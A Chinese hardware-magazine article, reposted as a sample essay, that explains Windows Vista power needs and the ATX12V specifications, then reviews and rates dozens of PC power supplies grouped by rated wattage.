前言：中文期刊網(wǎng)精心挑選了pc電源范文供你參考和學(xué)習(xí)，希望我們的參考范文能激發(fā)你的文章創(chuàng)作靈感，歡迎閱讀。

pc電源范文1

1．配雙核更多是為了體驗(yàn)Vista

Vista系統(tǒng)正式之后，新的操作系統(tǒng)對(duì)pc硬件提出更高更細(xì)致的要求，當(dāng)前很大一部分用戶的電腦配置是無(wú)法達(dá)到標(biāo)準(zhǔn)要求的。在Vista風(fēng)潮的影響下，雙核及多核處理器平臺(tái)也越來(lái)越受歡迎，甚至不少用戶配置一套雙核平臺(tái)，就是想完美地體驗(yàn)Vista系統(tǒng)的魅力。

相信，為了體驗(yàn)Window Vista系統(tǒng)，而選擇搭配雙核平臺(tái)的消費(fèi)者應(yīng)該不在少數(shù)!

2．Vista電源橫測(cè)更具普遍意義

電腦是由很多不同的硬件組成的，而各個(gè)部件能耗應(yīng)該是隨著技術(shù)的更新而不斷變化的。然而，電源作為電腦的動(dòng)力源泉，在很長(zhǎng)一段時(shí)間內(nèi)，電源規(guī)范的變化是隨著CPU的功耗變化而變化的。

目前，國(guó)內(nèi)市場(chǎng)上流行電源標(biāo)準(zhǔn)則包括了ATXl2V 1.3、ATXl2V 2.0和ATXl2V 2.2等三個(gè)版本，其中較早的ATXl2V 1.3和2.0版電源所占據(jù)的市場(chǎng)份額還不少。而最新的ATXl2V 2.2版規(guī)范是Intel在ATXl2V 2.0規(guī)范的基礎(chǔ)上，為雙核處理器優(yōu)化的一個(gè)電源版本。因此，如果選擇雙核平臺(tái)作為切入點(diǎn)，那么電源規(guī)范就可能被限制為ATXl2V 2.2版，這和各個(gè)電源版本在市場(chǎng)上的銷(xiāo)售情況不符合。

如果我們選擇以對(duì)電源版本沒(méi)有明確要求的Vista平臺(tái)作為切入點(diǎn)，那么橫向測(cè)試沒(méi)有對(duì)電源版本做出限制，這樣的測(cè)試更加具有普遍意義。

3．讓消費(fèi)者走出對(duì)電源版本理解的誤區(qū)

由于消費(fèi)者在選購(gòu)產(chǎn)品時(shí)都或多或少地存在這樣一個(gè)錯(cuò)誤的傾向――那就是認(rèn)為“電源的版本越新，品質(zhì)就會(huì)越好”。然而，事實(shí)上是電源品質(zhì)的好壞與電源版本沒(méi)有必然聯(lián)系。

在作這個(gè)結(jié)論之前，我們的記者也采訪了許多來(lái)自廠商方面的專家及Intel亞太地區(qū)負(fù)責(zé)電源技術(shù)的工程師，他們都給與了我們同樣的答案，那就是“我們不能簡(jiǎn)單地?cái)喽ǖ桶姹镜碾娫匆欢ū雀甙姹镜碾娫床睢薄?/p>

然而，消費(fèi)者在購(gòu)買(mǎi)電源時(shí)，銷(xiāo)售商卻經(jīng)常以高版本的電源作為賣(mài)點(diǎn)，特別是每每到了新電源版本之后，這一情況就更加嚴(yán)重。所以，我們希望能夠通過(guò)一個(gè)不限制電源版本的橫向測(cè)試，讓消費(fèi)者明白“電源品質(zhì)的好壞與電源版本沒(méi)有必然聯(lián)系”。

基于以上三點(diǎn)，做“Vista平臺(tái)電源”的橫向測(cè)試比做“雙核平臺(tái)(ATXl2V2.2版)電源”更意義，也更加貼近電源市場(chǎng)狀況以及符合用戶的需求，我們何樂(lè)而不為呢?

二、Vista平臺(tái)對(duì)電源有什么要求

要“尋找最好的Vista平臺(tái)”電源，那么，Vista平臺(tái)到底對(duì)電源有什么要求呢?

1．Vista平臺(tái)的最低要求

右面是微軟聯(lián)合Inter　AMD(ATi)、nVIDIA等上游廠商所公布的Vista對(duì)計(jì)算機(jī)硬件的最低配置要求：

從這份僅僅是最低配置的清單來(lái)看，windows Vista對(duì)硬件的要求將十分苛刻。當(dāng)然，即使用戶的機(jī)器配置低于這一要求，也并不意味著無(wú)法安裝和運(yùn)行windows Vista，只不過(guò)是某些特效無(wú)法顯示出來(lái)而已。

2．多大功率才能“填飽”Vista平臺(tái)

下面是目前中低端電腦平臺(tái)的功耗統(tǒng)計(jì)，如果按照windows Vista系統(tǒng)對(duì)硬件的最低要求搭配一套平臺(tái)，平臺(tái)的最低功耗則約為(60+50+25+25+30+30+2.5+2.5)=225w，那么搭配一套Vista平臺(tái)，電源額定功的最低耗標(biāo)準(zhǔn)應(yīng)該為250w。

以上的功耗只是個(gè)約數(shù)，是采用最大值的方式進(jìn)行，也就是說(shuō)會(huì)對(duì)各個(gè)電腦部件在滿負(fù)荷功率時(shí)的功耗進(jìn)行計(jì)算，所以只是作為一個(gè)參考，估算一下電腦到底需要多大助率的電源。下面是不同等級(jí)的硬件平臺(tái)在Vista系統(tǒng)下進(jìn)行的測(cè)試，所得到的Vista系統(tǒng)對(duì)電源功率的要求。

從這個(gè)簡(jiǎn)單的測(cè)試中，可以看出Vista平臺(tái)的功耗至少要在250w以上。根據(jù)這些數(shù)據(jù)，我們來(lái)分析一下各部分功耗情況：

CPU部分

入門(mén)級(jí)的Intel的賽揚(yáng)D系列或AMD的閃龍3000+以上的CPU即可，它們的功耗都在75w以上，超頻后功耗就更大了；而高端的65nm CPU雖然初始功耗可以維持在65w水平，但超頻或滿負(fù)荷運(yùn)行時(shí)功耗是容易超過(guò)100w的。所以，不管那個(gè)級(jí)別的Vista平臺(tái)，CPU部分的供電都是我們要看重的。而+12V(或雙路+12V)輸出能力都是特別重要的。如果CPU滿載以150w為標(biāo)準(zhǔn)，那么+12V輸出就應(yīng)該在13A以上。

顯卡部分

入門(mén)級(jí)顯卡的功耗并不是特別高，不需要額外的供電支持，所以初級(jí)Vista平臺(tái)并不需要電源提供6Pin的PCI E接口；一股而言，顯卡接口本身所能提供的最大功耗大約在50w左右，而Vista勝任級(jí)Vista平臺(tái)的顯卡功耗通常都超過(guò)50w，這時(shí)就要求電源支持PCI－E輔助供電。

主板部分

除了本身功耗外，還要考慮內(nèi)存、聲卡、網(wǎng)卡等周邊設(shè)備的功耗，主板功耗一般在60－100w。這部分功耗主要是有+5V和+3.3V輸出所提供的，如果周邊設(shè)備較多的Vista平臺(tái)，就要求這兩路輸出的總功耗在100w以上。

三、我們?nèi)绾伪ＷC測(cè)試的公正性

由于本次橫向評(píng)測(cè)，我們沒(méi)有對(duì)電源的版本進(jìn)行限制，那么該如何去對(duì)功率不同且版本不同的電源進(jìn)行比較呢?這是一個(gè)關(guān)系到整個(gè)橫向測(cè)試是否公平的問(wèn)題。

1．按額定功率的不同分組

如果說(shuō)一款額定功率250W的電源能帶動(dòng)的平臺(tái)，那么搭配更高功率的電源一般不會(huì)存在什么問(wèn)題。反之，對(duì)于額定功率較低的產(chǎn)品，我們并不能說(shuō)它的性能就不過(guò)關(guān)。對(duì)于不同功率等級(jí)的電源而言，對(duì)比輸出能力的是有沒(méi)有意義的。所以，我們參照Intel已經(jīng)頒布的ATXl2V 2.0或2.2版中規(guī)范，將根據(jù)送測(cè)電源的額定功率分為250組、300W組、350W組、400W以上組等四個(gè)檔次。

2．不同電源版本間如何對(duì)比

一般而言，消費(fèi)者購(gòu)買(mǎi)電源通常是先確定電源的功率，然后再選擇最適合的電源版本。而剛才我們也說(shuō)過(guò)“電源品質(zhì)的好壞與版本沒(méi)有必然的聯(lián)系”。所以對(duì)于電源版本并必要進(jìn)行區(qū)別對(duì)待，而我們要做的只是給不同版本的電源模擬一個(gè)公平的工作環(huán)境就可以了。

ATXl2V 1.3、2.0和2.2版規(guī)范，三者之間最大的問(wèn)題在于ATXl2V1.3版不是雙路12V輸出設(shè)計(jì)，而另兩種規(guī)范則是雙路12V輸出。雖然ATX電源規(guī)范之間存在不同，但后續(xù)版本具有一定的向前兼容能力的(也就是說(shuō)，符合ATX12V 2.2版規(guī)范的電源也會(huì)ATXl2V 2.0規(guī)范要求，而符合ATXl2V 2.0規(guī)范的也能滿足ATXl2V 1.3版要求)，所以在對(duì)ATXl2V 2.O和2.2版電源的雙+12V 輸出合計(jì)為單路輸出。

3．我們模擬的電源工作環(huán)境

右側(cè)是我們?cè)诟鹘M電源對(duì)比測(cè)試中所采用的工作環(huán)境(其中，各組環(huán)境的輸入電壓均為220V的市電)：

4．我們的測(cè)試項(xiàng)目

功率值和功率因數(shù)

功率是電源的首要指標(biāo)。在直流狀態(tài)下，功率=電壓×電流，但是電源并非一個(gè)純電阻設(shè)備，電源的各路輸出之間采用的是聯(lián)合的輸出模式，它們是不可能同時(shí)達(dá)到各自標(biāo)稱的最大值的，所以我們并不能直接地通過(guò)銘牌上所標(biāo)注的電流電壓值來(lái)判定電源的功率。雖然，絕大部分電源都在電源銘牌上標(biāo)注其額定功率或最大功率，但是否和實(shí)際功率相符，這就需要我們用儀器去檢驗(yàn)了。

我們采用的是“FA-828ATE”多功能電子負(fù)載儀，該儀器可以模擬電源的真實(shí)工作環(huán)境，通過(guò)實(shí)際的負(fù)載來(lái)檢測(cè)電源的功率值、功率因數(shù)、動(dòng)態(tài)電壓和過(guò)流保護(hù)等。

我們通過(guò)讓電源工作在指定的負(fù)載環(huán)境中，測(cè)試電源存該模擬工作環(huán)境下的各項(xiàng)參數(shù)，然后記錄電源在不同負(fù)載下的功率因數(shù)。

電源轉(zhuǎn)換效率

通過(guò)PM100功率分析儀記錄電源在輕負(fù)載、典型負(fù)載、全負(fù)載等三種狀態(tài)下的輸入和輸出功率，然后將輸出功率除以輸入功率，就得到了電源的轉(zhuǎn)換效率值。測(cè)試電源的轉(zhuǎn)換效率，其意義在于能了解電源能為用戶節(jié)省多少電費(fèi)，這是ATXl2V標(biāo)準(zhǔn)中衡量電源優(yōu)劣的一個(gè)重要參數(shù)。

噪音測(cè)試

隨著人們環(huán)保意識(shí)的提高，電源是否靜音已經(jīng)成為消費(fèi)者選購(gòu)電源的一項(xiàng)重要的標(biāo)準(zhǔn)。由于很多電源都支持智能溫度控制技術(shù)，其是可以根據(jù)功耗的人小調(diào)扇轉(zhuǎn)速，從而控制電源的溫度，風(fēng)速越快，噪音通常也就越大。也就是說(shuō)，電源的功率越大，噪音就越大。我們?cè)诒敬螜M向測(cè)試中，通過(guò)在將電源放置于密封的無(wú)響室中，讓電源工作在100W負(fù)載狀態(tài)下，測(cè)試其風(fēng)扇的噪音。

待機(jī)功耗測(cè)試

待機(jī)功耗是電源連接上市電，并連接好一切用電設(shè)備(如板卡、存儲(chǔ)設(shè)備、鍵盤(pán)、鼠標(biāo)以及USB設(shè)備等)后，在不啟動(dòng)的情況下電源所輸出的功率值。這項(xiàng)功能夠?yàn)橛脩籼峁┝舜罅糠奖愕耐瑫r(shí)，也造成了大量的能源浪費(fèi)，而待機(jī)功耗越小，電源就能為國(guó)家和用戶(特別是網(wǎng)吧業(yè)主)節(jié)省不少的電能消耗。

其他測(cè)試項(xiàng)目

以上的測(cè)試項(xiàng)目是我們無(wú)法用肉眼來(lái)觀察得到的電源內(nèi)在品質(zhì)，除了這些硬性指標(biāo)外，我們還需要綜合地加入一些常規(guī)的測(cè)試，如拆解觀察用料及做工、接口是否能夠滿足Vista平臺(tái)需求以及電源的價(jià)格等等。

5．我們采用的評(píng)判標(biāo)準(zhǔn)

本次橫向測(cè)試遵照的標(biāo)準(zhǔn)有兩個(gè)：測(cè)試結(jié)果通過(guò)IntelATXl2V版本規(guī)范所規(guī)定最低要求的電源為合格產(chǎn)品，而通過(guò)《中國(guó)節(jié)能產(chǎn)品認(rèn)證技術(shù)要求》 (簡(jiǎn)稱節(jié)能認(rèn)證)的電源則為優(yōu)秀產(chǎn)品。

250W組

HKC ATXL-250+CE+PFC電源在銘牌上的標(biāo)注非常詳細(xì)，上面包括了電源的額定功率、各線路輸出的最大和最小電流值，而且還清晰地標(biāo)注了這款電源符合Intel12V 2.2版規(guī)范，銘牌實(shí)標(biāo)方面值得贊賞。這款電源采用了12cm風(fēng)扇散熱，內(nèi)部配合兩塊厚實(shí)的散熱片輔助散熱，用料方面也讓人滿意。性能測(cè)試方面，這款電源在待機(jī)功耗及噪音方面表現(xiàn)不錯(cuò)，但在轉(zhuǎn)換效率上表現(xiàn)一般。

這款DLP－430A電源最特別之處在于采用了主動(dòng)式PFC，支持寬幅輸出，這對(duì)于一款定位在中低端市場(chǎng)的電源來(lái)說(shuō)，實(shí)在讓人稍感意外。接口方面，電源提供了較為齊全的接口，具備4個(gè)D型接口和2個(gè)SATA接口。拆開(kāi)電源可以看到，電源的PCB布局比較成熟，各路元件電路都齊全。性能方面，這款電源整體表現(xiàn)相當(dāng)出色，完美通過(guò)節(jié)能標(biāo)準(zhǔn)，轉(zhuǎn)換效率也接近ATX12V 2.2版建議水平，盡管我們測(cè)試得到的待機(jī)功耗與銘牌上標(biāo)注的有出入，但綜合各項(xiàng)因素我們決定將“編輯選擇”的獎(jiǎng)項(xiàng)授予它。

全漢精靈是符合ATX12V 2.2規(guī)范，功率為250W。該電源最大的特點(diǎn)是采用主動(dòng)式PFC設(shè)計(jì)，在市場(chǎng)上200元級(jí)電源中較為少見(jiàn)。從實(shí)際的拆解測(cè)試中，發(fā)現(xiàn)采用主動(dòng)式PFC設(shè)計(jì)之后內(nèi)部電路更加簡(jiǎn)潔。性能測(cè)試中，在功率因數(shù)上，額定功率較低的精靈王并沒(méi)有能發(fā)揮主動(dòng)式PFC在原理上的優(yōu)勢(shì)，不過(guò)還是比被動(dòng)式PFC電源高出不少；而轉(zhuǎn)換功率和待機(jī)功耗方面，這款電源通過(guò)7中標(biāo)節(jié)能認(rèn)證標(biāo)準(zhǔn)，靜音效果也相當(dāng)不錯(cuò)。綜合來(lái)說(shuō)，這款電源性價(jià)比相當(dāng)出色，我們決定授予其“編輯選擇”獎(jiǎng)。

DLP－410A電源是多彩主推的“超霸節(jié)能版”系列產(chǎn)品之一。作為入門(mén)級(jí)產(chǎn)品，符合最新為ATX12V 2.2版規(guī)范，額定功率為250W。電源采用12cm靜音風(fēng)扇進(jìn)行散熱，能夠保證電源散熱效能。拆開(kāi)電源內(nèi)部，可以看到這款電源具有完整的EMI濾波電路、雙470uF高壓濾波電容、被動(dòng)式PFC及各路保護(hù)電路齊全，做工用料方面比較實(shí)在。性能測(cè)試方面，不同狀態(tài)下的功率因數(shù)表現(xiàn)不錯(cuò)，轉(zhuǎn)換效率介于ATXl2V 2.2標(biāo)準(zhǔn)的最低和建議標(biāo)準(zhǔn)之間，電源的靜音效果令人滿意。

這款勇敢者CF-300A電源采用ATXl2V 1.3標(biāo)準(zhǔn)設(shè)計(jì)，其中+12V輸出為14A，+5V和+3.3V輸出分別為18A和14A。這款電源在銘牌上并沒(méi)有標(biāo)明額定功率，讓人感覺(jué)有些失望。拆解部分，這款電源配備了完整的兩級(jí)EMI濾波電路和真材實(shí)料的被動(dòng)式PFC，而且各個(gè)元件布局整齊有序，內(nèi)部整體用料基本讓人滿意。從測(cè)試的成績(jī)來(lái)看，盡管沒(méi)有通過(guò)中標(biāo)節(jié)能要求，但成績(jī)已經(jīng)十分接近，而售價(jià)僅為128元，整體來(lái)看，這是一款不錯(cuò)的入門(mén)級(jí)電源。

康舒E2 Power 340電源遵循Intel最新的ATXl2V 2.2版標(biāo)準(zhǔn)，額定功率為230W。在電源的銘牌上我們可以看到，康舒E2 Power 340電源通過(guò)了多種認(rèn)證。雙路+12V輸出可分別達(dá)到14A和16A，在同一級(jí)別電源中可算是相當(dāng)強(qiáng)勁，完全可以應(yīng)付雙核CPU的需要。內(nèi)部做工方面，康舒E2 Power 340電源在用料上的表現(xiàn)比較中規(guī)中矩。性能測(cè)試中，這款電源在待機(jī)功耗及噪音方面表現(xiàn)比較突出，轉(zhuǎn)換效率在ATXl2V 2.2規(guī)范最低和建議標(biāo)準(zhǔn)之間；在節(jié)能認(rèn)證方面，滿載時(shí)沒(méi)有通過(guò)75％標(biāo)準(zhǔn)，稍微有些遺憾。

金河田JHT-S398節(jié)能雙核電源標(biāo)稱的額定功率為250W，最大功率為350W，采用12cm大口徑風(fēng)扇散熱設(shè)計(jì)，雙路12V輸出分別為8A和14A，+5V和+3.3V輸出分別為18A和17A，聯(lián)合功率最大為115W，能滿足主流Vista平臺(tái)需求。接口方面，提供2個(gè)串行電源接口和3個(gè)D型接口。性能方面，滿載時(shí)待功率因數(shù)表現(xiàn)出色，待機(jī)功耗及靜音效果都讓人滿意，遺憾的是轉(zhuǎn)換效率沒(méi)有達(dá)到75％的節(jié)能標(biāo)準(zhǔn)。綜合來(lái)看，這款電源是一款相當(dāng)不錯(cuò)的ATX12V 2.2電源。

勇敢350A電源是采用ATXl2V 1.3版規(guī)范設(shè)計(jì)，黑色外觀，整體有起來(lái) 簡(jiǎn)潔大方。散熱方面，采用8cm風(fēng)扇設(shè)計(jì)搭配大面積網(wǎng)孔，散熱設(shè)計(jì)值得肯定。內(nèi)部做工方面，元件排列整齊，完整的EMI電路及兩塊厚實(shí)的散熱片，用料還是值得肯定的。不過(guò)遺憾的是，電源銘牌并未標(biāo)注額定和最大功率，從功率值測(cè)試來(lái)看，這應(yīng)該是一款額定功率在250－300W的電源，從功率因數(shù)、轉(zhuǎn)換效率、待機(jī)功耗以及噪音等方面的測(cè)試結(jié)果來(lái)看，這款電源的性能表現(xiàn)非常接近于中標(biāo)節(jié)能認(rèn)證標(biāo)準(zhǔn)，性價(jià)比方面還是不錯(cuò)的。

PP355WHD是大水牛主打低端市場(chǎng)的入門(mén)產(chǎn)品，符合ATXl2V 2.2規(guī)范。PP355WHD使用了完整的兩級(jí)EMI濾波電路，設(shè)計(jì)上中規(guī)中矩，做工表現(xiàn)則保持了大水牛電源的一貫風(fēng)格。這款的銘牌標(biāo)注很詳細(xì)，額定功率為250W，值得肯定。性能方面，轉(zhuǎn)換功率通過(guò)ATXl2V 2.2最低標(biāo)準(zhǔn)，負(fù)載下功率因素通過(guò)節(jié)能認(rèn)證標(biāo)準(zhǔn)，待機(jī)功耗和噪音方面表現(xiàn)令人比較滿意；遺憾的是全自載狀態(tài)下轉(zhuǎn)換效率稍稍低于75％，沒(méi)能通過(guò)節(jié)能認(rèn)證。

榮盛達(dá)黃金甲375電源外觀樸素，設(shè)計(jì)也基本上以滿足入門(mén)級(jí)用戶的實(shí)際運(yùn)用需求為標(biāo)準(zhǔn)，所以提供的接口不算豐富，提供了1個(gè)20+4Pin兼容式接口、3個(gè)D型接口和1個(gè)SATA接口。電源在銘牌處只標(biāo)注了最大功率為350W，沒(méi)有單獨(dú)標(biāo)出額定功率，消費(fèi)者在實(shí)際選購(gòu)時(shí)可能會(huì)產(chǎn)生疑惑。在實(shí)際測(cè)試中發(fā)現(xiàn)，這款電源通過(guò)了ATXl2V 2.2規(guī)范測(cè)試，節(jié)能方面表現(xiàn)一般，而待機(jī)功耗高達(dá)5.9W，與其標(biāo)注的“待機(jī)功率不大于0.5W”有著較大的差異。

TXL－300+CE+PFC與ATXL－250+CE+PFC最大的區(qū)別在于電源的額定功率上，這款電源的額定功率達(dá)到了300W，與它們各自型號(hào)中的數(shù)字標(biāo)識(shí)是一致的，不存在任何誤導(dǎo)消費(fèi)者的嫌疑，而銘牌上各項(xiàng)參數(shù)也進(jìn)行了詳細(xì)的說(shuō)明。在銘牌實(shí)標(biāo)方面，HKC電源作了很好的表率。接口能滿足大眾需求，但沒(méi)有提供6Pin顯卡接口，稍感遺憾。測(cè)試方面，該電源通過(guò)ATXl2V 2.2規(guī)范最低標(biāo)準(zhǔn)，待機(jī)功耗和噪音方面表現(xiàn)不錯(cuò)，滿載時(shí)功率因數(shù)符合國(guó)家節(jié)能標(biāo)準(zhǔn)，但是全自載和輕女載下，轉(zhuǎn)換效率沒(méi)有通過(guò)國(guó)家節(jié)能標(biāo)準(zhǔn)。

Tt KK400K電源是金剛系列中功率最低的產(chǎn)品，額定功率為300W，采用ATXl2V 2.2版規(guī)范設(shè)計(jì)，其中雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出則為18A和17A，5Vsb輸出則為2A。電源采用灰黑色高硬度的鋼板外殼搭配12cm大口徑風(fēng)扇，感覺(jué)十分穩(wěn)重，電源的輸出線路使用蛇皮線包襄主線，輸出接口豐富齊全，對(duì)Vista平臺(tái)的支持較好。內(nèi)部做工方面，電源電路設(shè)計(jì)合理嚴(yán)謹(jǐn)，用料扎實(shí)。測(cè)試方面，該電源通過(guò)ATXl2V 2.2規(guī)范的最低標(biāo)準(zhǔn)，但距離國(guó)家節(jié)能標(biāo)準(zhǔn)還有一定距離。

該電源采用ATXl2V 2.2規(guī)范設(shè)計(jì)，鑫谷作為銘牌實(shí)標(biāo)的倡導(dǎo)者，電源銘牌標(biāo)注非常規(guī)范。其中，電源的額定功率為300W，雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出均達(dá)到20A，5Vsb輸出則為2.5A，輸出能力值得肯定。輸出接口方面，提供2個(gè)SATA和1個(gè)PCI-E供電接口，對(duì)Vista平臺(tái)的支持較好。測(cè)試方面，該電源通過(guò)ATXl2V 2.2規(guī)范的最低標(biāo)準(zhǔn)，滿載的功率因數(shù)符合國(guó)家節(jié)能標(biāo)準(zhǔn)，但遺憾的是轉(zhuǎn)換效率沒(méi)有通過(guò)國(guó)家節(jié)能認(rèn)證規(guī)定的75％標(biāo)準(zhǔn)。

JHT-S498電源是金河田目前主推的“節(jié)能大師”產(chǎn)品，送測(cè)的這款電源是JHT－S498雙核靜音版，采用ATX12V 2.2版規(guī)范設(shè)計(jì)，額定功率為300W，雙路12V的輸出能力分別為8A和14A，而+5V和+3.3V輸出達(dá)到了20A。輸出部分，提供了三腳供電接口，符合節(jié)能設(shè)計(jì)需求，提供4個(gè)D型和2個(gè)SATA接口，能滿足主流Vlsta平臺(tái)需求。性能測(cè)試方面，這款電源表現(xiàn)優(yōu)秀，完美地通過(guò)最新的中標(biāo)節(jié)能標(biāo)準(zhǔn)，而待機(jī)功耗僅為1.26W，是本次橫向測(cè)試中表現(xiàn)最突出的一款，所以我們以“編輯選擇”的方式推薦給大家。

航嘉冷靜王鉆石2.2版電源是之前1.3版電源的升級(jí)產(chǎn)品，額定功率都為300W。從電源銘牌上看，這款電源已經(jīng)符合ATXl2V 2.2版標(biāo)準(zhǔn)。接口方面，冷靜王鉆石2.2版電源提供3個(gè)D型接口、4個(gè)SATA供電接口，支持8Pin主板供電接口(可拆2個(gè)4Pin)和1個(gè)6pin顯卡供電接口，能較好地滿足目前主流vista平臺(tái)要求。從測(cè)試結(jié)果來(lái)看，這款電源在滿自載下功率因數(shù)遠(yuǎn)高于CCEC規(guī)定的0.73標(biāo)準(zhǔn)，不同自載下轉(zhuǎn)換效率也完美地通過(guò)了國(guó)家節(jié)能標(biāo)準(zhǔn)，表現(xiàn)相當(dāng)搶眼，因此我們決定授予其“編輯選擇”獎(jiǎng)。

350W組

和速核530pQ一樣，連核530PE也是鑫谷目前主推的“速核”系列的電源之一，該電源采用ATXl2V 2.2規(guī)范設(shè)計(jì)，額定功率為350W，雙路12v的輸出能力分別為10A和15A，而+5V和+3.3V輸出分別為21A和22A。輸出部分，采用(20+4)+8+4Pin輸出接口設(shè)計(jì)，提供2個(gè)SATA和1個(gè)PCI－E供電接口，接口兼容能力很出色。在實(shí)際性能測(cè)試中，該電源通過(guò)ATXl2V 2.2規(guī)范標(biāo)準(zhǔn)，從不同自載下的功率因數(shù)值來(lái)看，電源對(duì)市電利用率比較出色，轉(zhuǎn)換效率上表現(xiàn)一般，而待機(jī)功耗和噪音方面表現(xiàn)有待提高。

先馬超光靜音版電源采用ATXl2V 2.2規(guī)范設(shè)計(jì)，額定功率為350W，雙路12v的輸出能力分別為10A和13A，+5V和+3.3V輸出分別為10A和20A，5Vsb輸出則為2.5A。該電源采用(20+4)+8+4Pin輸出接口，提供2個(gè)SATA和1個(gè)PCIE供電接口；各路輸出線均采用高檔的蛇皮網(wǎng)包襄，拆解電源后，可看到其內(nèi)部用料也相當(dāng)豪華，做工用料方面值得肯定。在實(shí)際的性能測(cè)試中，該電源通過(guò)ATXl2V 2.2規(guī)范標(biāo)準(zhǔn)，從不同負(fù)載下的功率因數(shù)值表現(xiàn)不錯(cuò)，而滿載和典型負(fù)載下電源的轉(zhuǎn)換效率符合節(jié)能標(biāo)準(zhǔn)。

全漢黑旋風(fēng)450電源型號(hào)為FSP350－60GLA，采用主動(dòng)PFC電路設(shè)計(jì)，額定輸出功率為350W，符合Intel ATXl2V 2.2版規(guī)范，雙路+12V電力輸出分別為10A和13A，而+5V和+3.3V輸出分別為12A和20A，5Vsb輸出最大可達(dá)3.5A。黑旋風(fēng)450提供(20+4)Pin+8Pin主輸出接口，提供2個(gè)SATA和1個(gè)6Pin供電接口，其中各項(xiàng)輸出線均用黑色尼龍網(wǎng)包襄，配合黑色外殼，整體視覺(jué)效果很好。性能方面，得益于主動(dòng)式PFC設(shè)計(jì)，電源的功率因數(shù)表現(xiàn)不錯(cuò)，轉(zhuǎn)換效率和待機(jī)功耗也通過(guò)了國(guó)家節(jié)能標(biāo)準(zhǔn)，性能表現(xiàn)優(yōu)秀。

先馬超影450電源采用ATXl2V 2.2版規(guī)范設(shè)計(jì)，型號(hào)為ATX 330－3，額定功率為350W，最大功率為450W，電源的各路輸出和超光靜音版是一致。外觀方面，該電源采用的是0.8mm SECC外殼搭配12cm靜音大風(fēng)扇，大面積的散熱網(wǎng)孔，效果設(shè)計(jì)合理。接口方面，提供(20+4)+8+4Pin主輸出接口，提供 2個(gè)SATA和1個(gè)6Pin供電接口，能較好地滿足主流Vista,平臺(tái)的需求。性能測(cè)試方面，在不同負(fù)載下電源對(duì)市電利用率較好，但節(jié)能及噪音方面表現(xiàn)一般，沒(méi)有能通過(guò)最新的節(jié)能標(biāo)準(zhǔn)。

榮盛達(dá)巨浪480S采用ATXl2V 2．2規(guī)范設(shè)計(jì)，最大的特點(diǎn)是采用主動(dòng)式PFC設(shè)計(jì)，在300元以內(nèi)的電源產(chǎn)品是比較少見(jiàn)的。電源銘牌方面，只標(biāo)示了最大功率值，并沒(méi)有標(biāo)注額定功率。接口方面，提供8Pin服務(wù)器，7個(gè)D型接口和2個(gè)SATA接口，但沒(méi)有提供顯卡專用接口，比較遺憾。從實(shí)際的測(cè)試上看，得益于采用主動(dòng)式PFC設(shè)計(jì)，功率因數(shù)表現(xiàn)不錯(cuò)；轉(zhuǎn)換效率上，輕負(fù)載環(huán)境下沒(méi)通過(guò)ATXl2V 2.2規(guī)范；而待機(jī)功耗方面，和國(guó)家節(jié)能規(guī)范還有一定距離。

400W以上組

大水牛牛魔王電源的額定功率為400W，各項(xiàng)標(biāo)稱輸出電流符合ATXl2V2.2規(guī)范，其中雙路12V輸出分別為14A和13A，+12V輸出功率可達(dá)264W，+3.3V和+5V輸出均為20A，輸出能力能滿足高端Vista,平臺(tái)需求。這款電源采用高檔的0.8mm鍍黑鈦外殼搭配12cm風(fēng)扇的設(shè)計(jì)，感覺(jué)很高檔；內(nèi)部做工用料方面，也另人滿意。性能測(cè)試方面，電源的市電的利用效率令人滿意，輕載和典型自載下轉(zhuǎn)換效率表現(xiàn)不錯(cuò)，不過(guò)滿載時(shí)沒(méi)能通過(guò)CCEC規(guī)定的75％，稍微有點(diǎn)遺憾。

多核DH6是航嘉針對(duì)雙核平臺(tái)設(shè)計(jì)的一款電源，它標(biāo)稱額定功率為400W，各項(xiàng)標(biāo)稱輸出電流符合ATXl2V 2.2規(guī)范。接口方面，DH6提供了3個(gè)D型4Pin設(shè)備接頭，但提供了 6個(gè)SATA和2個(gè)6Pin顯卡接口，方便玩家組建雙卡平臺(tái)。性能方面，這款電源輕載和典型負(fù)載時(shí)功率因數(shù)均超過(guò)了0.8，而不同狀態(tài)下的轉(zhuǎn)換效率完美地通過(guò)國(guó)家節(jié)能標(biāo)準(zhǔn)，值得一提的是，這款電源是本次測(cè)試中唯一一款到達(dá)ATXl 2V 2.2推薦標(biāo)準(zhǔn)的產(chǎn)品，盡管噪音方面表現(xiàn)一般，但整體看來(lái)也是本次參測(cè)產(chǎn)品中表現(xiàn)最突出的一款。

長(zhǎng)城雙卡王BTX－500SD電源是款針對(duì)高端平臺(tái)發(fā)售的產(chǎn)品，采用ATXl2V 2.2版標(biāo)準(zhǔn)設(shè)計(jì)，輸出線采用蛇皮網(wǎng)包裹，提供4個(gè)SATA和1個(gè)6Pin顯卡輔助電源接口，接口兼容能力不錯(cuò)。做工方面，主動(dòng)PFC控制芯片通過(guò)獨(dú)立的PCB板安插，整體用料豪華。性能方面，得益于主動(dòng)式PFC設(shè)計(jì)，電源在不同狀態(tài)下對(duì)市電的利用率都非常高，不同狀態(tài)下的轉(zhuǎn)換效率均完美通過(guò)國(guó)家節(jié)能標(biāo)準(zhǔn)并且非常接近ATXl 2V 2.2規(guī)范推薦級(jí)要求，而待機(jī)功耗和噪音方面表現(xiàn)也很令人滿意。綜合來(lái)看，這款電源是本次測(cè)試中相當(dāng)優(yōu)秀的產(chǎn)品。

金剛KK500電源由Tt專門(mén)針對(duì)DIY用戶和超頻玩家而量身定做的，符合ATXl2V 2.2和EPSl2V規(guī)范，額定功率為400W，最大功率為500W，雙組+12v電路輸出能力分別為14A和15A，+3.3V和+5V輸出別高達(dá)30A和28A。在線材和接口方面，每條線材都以加網(wǎng)套束線來(lái)保護(hù)，提供了20+4Pin主電源接口、2個(gè)PCI－E和4個(gè)SATA接口，接口擴(kuò)展能力非常出色。性能測(cè)試中，輕自載和典型自載下表現(xiàn)出色，但全自載狀態(tài)下沒(méi)有通過(guò)節(jié)能要求，待機(jī)功耗和嗓音的表現(xiàn)距離優(yōu)秀還有一定距離。

四、我們對(duì)于電源橫向測(cè)試的五個(gè)觀點(diǎn)

電源制造工藝值得肯定

